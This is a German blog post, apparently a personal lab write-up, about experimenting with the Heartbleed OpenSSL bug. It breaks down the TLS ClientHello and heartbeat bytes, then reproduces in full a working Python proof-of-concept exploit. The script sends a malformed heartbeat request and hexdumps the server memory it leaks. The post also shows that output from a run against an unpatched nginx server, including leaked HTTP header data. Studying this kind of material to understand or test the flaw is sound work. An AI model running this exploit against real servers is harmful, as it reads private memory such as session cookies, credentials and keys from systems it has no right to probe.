Heartbleed Spielereien


Erste Schritte

Der Bug selbst ist schon vielfach (am besten auf der im Summary verlinkten Seite vorbeischauen) erklärt worden. Ich habe selber noch nicht den rechten Überblick, daher spare ich mir eine weitere Erklärung und lege gleich mit meinen eigenen Experimenten los.

So weit ich das verstehe, geht es in dem Bug um eine fehlerhafte/fehlende Überprüfung in der Heartbeat-Erweiterung des TLS-Protokolls auf die Länge der angefragten Payload. Der Client oder Server sendet also an den entsprechenden Partner während einer stillen Sitzung einen Heartbeat-Request, schreibt darin eine gewünschte Antwort des Requests und hängt die Länge x der Antwort an das Paket mit an. Der Gegenüber liest den Request, läd ein Stück Speicher der Länge x aus der Payload im Speicher und sendet sie zurück. Hier fehlt nun die Überprüfung: ich kann als Client ein Payload "test" mit Länge 65536 hinschicken und der Server schickt mir ein Paket mit "test" + 65532 Bytes zurück. D.h. er sendet mir fast 64kb Speicher, die nichts mit meinem Request zu tun haben. Nice!

Kurz nach der Entdeckung sind mehrere Skripte zum "testen" von Servern aufgetaucht. Hier ein paar Beispiele:

Im weiteren habe ich mich dann an den Skripten orientiert und mir TLS näher angeschaut.

TLS: Header, ClientHello

Zu erst ein kurzer Einblick in den TLS-Header (siehe den ersten Link oben).
Gegeben sei der String 16 03 02 00 31 01 00 00 2d 03 02 50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 00 00 04 00 33 c0 11 01 00 00 00.

Bytes Beschreibung
16 Content type, "Protokoll" ("16" = Handshake)
03 02 TLS Version ("03 02" = major 03 minor 02 = TLS 1.1)
00 31 Länge der Protokollnachricht.
01 Beginn der Protokollnachricht: message type ("01" = ClientHello)
00 00 2d Länge der Daten ("2d" = 220 Bytes)
03 02 Beginn der Daten: client_version
<32 Bytes> random
00 session_id (Länge? "00" bedeutet wohl "Neue Session")
00 04 Wohl die Länge der Cipher Suite
0 33 c0 11 Die verfügbaren Cipher Suites
01 compression support length
00 compression support ("0" = keine Kompression)
00 00 extensions length ("0" = keine Extensions)

Zu Rate ziehen lassen sich hier prima RFC 4346 und RFC 5246 für TLS 1.1 und 1.2.

HeartbeatRequest

Das wird schon einfacher. Der Req. besteht lediglich aus einem 8 Byte großen Paket: 1803020003014000.

Bytes Beschreibung
18 TLS Header: type/protocol ("18" = Heartbeat)
03 02 TLS-Version
00 03 Länge der Protokollnachricht
01 Heartbeat type ("01" = Request)
40 00 Länge des Payloads ("40 00" = 16KB)

Die übrigen Felder payload und padding werden hier wohl nicht verwendet.

Testlauf

Hierfür habe ich wieder das Skript aufgegriffen, ein paar Sachen angepasst und es dann gegen einen ungepatchten Server laufen lassen (Ubuntu Precise, nginx, libssl1.0.1-4ubuntu5.11).

Skript

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python2

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')


hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 ff ff
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' ) for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print


def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr) # big-endian, unsigned char (1 byte), 2x unsigned short (2 byte each)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False


def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    s.connect((args[0], opts.port))

    print 'Sending Client Hello...'
    s.send(hello)
    print 'Waiting for Server Hello...'
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    hit_hb(s)


if __name__ == '__main__':
    main()

Ergebnis

Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 527
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 2C 65 6E 2D  ....#.......,en-
  00e0: 75 73 3B 71 3D 30 2E 38 2C 64 65 2D 64 65 3B 71  us;q=0.8,de-de;q
  00f0: 3D 30 2E 35 2C 64 65 3B 71 3D 30 2E 33 0D 0A 41  =0.5,de;q=0.3..A
  0100: 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20  ccept-Encoding:
  0110: 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 52  gzip, deflate..R
  0120: 65 66 65 72 65 72 3A 20 68 74 74 70 73 3A 2F 2F  eferer: https://
  0130: 31 30 2E 31 2E 31 30 30 2E 32 2F 0D 0A 43 6F 6E  10.1.100.2/..Con
  0140: 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C  nection: keep-al
  0150: 69 76 65 0D 0A 49 66 2D 4D 6F 64 69 66 69 65 64  ive..If-Modified
  0160: 2D 53 69 6E 63 65 3A 20 57 65 64 2C 20 31 31 20  -Since: Wed, 11
  0170: 41 70 72 20 32 30 31 32 20 30 34 3A 31 30 3A 35  Apr 2012 04:10:5
  0180: 39 20 47 4D 54 0D 0A 43 61 63 68 65 2D 43 6F 6E  9 GMT..Cache-Con
  0190: 74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D 30 0D  trol: max-age=0.
  01a0: 0A 0D 0A 0E 28 B0 A2 FC 75 37 55 00 8C A8 AB E7  ....(...u7U.....
  01b0: D9 7C 25 F5 F4 E1 1D 08 08 08 08 08 08 08 08 08  .|%.............
  01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
[...]
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

Brachte also so ziemlich das, was zu erwarten war.
Einzig die Payloadlength habe ich noch nicht angepasst gekriegt mit dem Skript. Der Server schickt auch bei 01 ff ff nur 16KB Speicher zurück. Ist auch nicht so spannend, wenn sonst nichts auf dem Server passiert.